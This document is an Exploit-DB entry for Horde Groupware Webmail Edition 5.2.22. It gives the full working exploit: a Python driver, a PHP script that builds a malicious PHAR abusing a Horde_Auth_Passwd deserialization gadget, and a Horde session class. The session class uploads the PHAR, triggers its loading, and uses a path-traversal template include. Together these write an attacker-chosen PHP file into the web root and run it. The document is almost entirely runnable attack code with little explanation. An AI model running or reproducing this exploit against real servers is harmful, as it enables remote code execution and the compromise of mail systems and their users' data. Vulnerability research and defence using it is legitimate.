Exploit-DB #48210
Description: Horde Groupware Webmail Edition 5.2.22 - PHAR Loading
Type: webapps
Platform: php
Date: 2020-03-11
Author: Andrea Cardaci

Exploit:
## exploit-phar-loading.py
#!/usr/bin/env python3
from horde import Horde
import requests
import subprocess
import sys

TEMP_DIR = '/tmp'
WWW_ROOT = '/var/www/html'

if len(sys.argv) < 5:
    print('Usage: <base_url> <username> <password> <filename> <php_code>')
    sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
filename = sys.argv[4]
php_code = sys.argv[5]

source = '{}/{}.phar'.format(TEMP_DIR, filename)
destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually)
temp = 'temp.phar'
url = '{}/static/{}.php'.format(base_url, filename)

# log into the web application
horde = Horde(base_url, username, password)

# create a PHAR that performs a rename when loaded and runs the payload when executed
subprocess.run([
    'php', 'create-renaming-phar.php',
    temp, source, destination, php_code
], stderr=subprocess.DEVNULL)

# upload the PHAR
with open(temp, 'rb') as fs:
    phar_data = fs.read()
    horde.upload_to_tmp('{}.phar'.format(filename), phar_data)

# load the phar thus triggering the rename
horde.trigger_phar(source)

# issue a request to trigger the payload
response = requests.get(url)
print(response.text)
## exploit-phar-loading.py EOF




## create-renaming-phar.php
#!/usr/bin/env php
<?php

// the __destruct method of Horde_Auth_Passwd eventually calls
// rename($this->_lockfile, $this->_params['filename']) if $this->_locked
class Horde_Auth_Passwd {
    // visibility must match since protected members are prefixed by "\x00*\x00"
    protected $_locked;
    protected $_params;

    function __construct($source, $destination) {
        $this->_params = array('filename' => $destination);
        $this->_locked = true;
        $this->_lockfile = $source;
    }
};

function createPhar($path, $source, $destination, $stub) {
    // create the object and specify source and destination files
    $object = new Horde_Auth_Passwd($source, $destination);

    // create the PHAR
    $phar = new Phar($path);
    $phar->startBuffering();
    $phar->addFromString('x', '');
    $phar->setStub("<?php $stub __HALT_COMPILER();");
    $phar->setMetadata($object);
    $phar->stopBuffering();
}

function main() {
    global $argc, $argv;

    // check arguments
    if ($argc != 5) {
        fwrite(STDERR, "Usage: <path> <source> <destination> <stub>\n");
        exit(1);
    }

    // create a fresh new phar
    $path = $argv[1];
    $source = $argv[2];
    $destination = $argv[3];
    $stub = $argv[4];
    @unlink($path);
    createPhar($path, $source, $destination, $stub);
}

main();
## create-renaming-phar.php EOF


## horde.py
import re
import requests

class Horde():
    def __init__(self, base_url, username, password):
        self.base_url = base_url
        self.username = username
        self.[CREDENTIAL_REDACTED]
        self.session = requests.session()
        self.token = None
        self._login()

    def _login(self):
        url = '{}/login.php'.format(self.base_url)
        data = {
            'login_post': 1,
            'horde_user': self.username,
            'horde_pass': self.password
        }
        response = self.session.post(url, data=data)
        token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
        assert (
            len(response.history) == 1 and
            response.history[0].status_code == 302 and
            response.history[0].headers['location'] == '/services/portal/' and
            token_match
        ), 'Cannot log in'
        self.token = token_match.group(1)

    def upload_to_tmp(self, filename, data):
        url = '{}/turba/add.php'.format(self.base_url)
        files = {
            'object[photo][img][file]': (None, filename),
            'object[photo][new]': ('x', data)
        }
        response = self.session.post(url, files=files)
        assert response.status_code == 200, 'Cannot upload the file to tmp'

    def include_remote_inc_file(self, path):
        # vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
        app = 'trean:trean_Block_Bookmarks'

        # add one dummy bookmark (to be sure)
        url = '{}/trean/add.php'.format(self.base_url)
        data = {
            'actionID': 'add_bookmark',
            'url': 'x'
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot add the bookmark'

        # add bookmark block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save-resume',
            'app': app,
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot add the bookmark block'

        # edit bookmark block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save',
            'app': app,
            'params[template]': '../../../../../../../../../../../' + path
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot edit the bookmark block'

        # evaluate the remote file
        url = '{}/services/portal/'.format(self.base_url)
        response = self.session.get(url)
        print(response.text)

        # remove the bookmark block so to not break the page
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            # XXX token not needed here
            'row': 0,
            'col': 0,
            'action': 'removeBlock'
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot reset the bookmark block'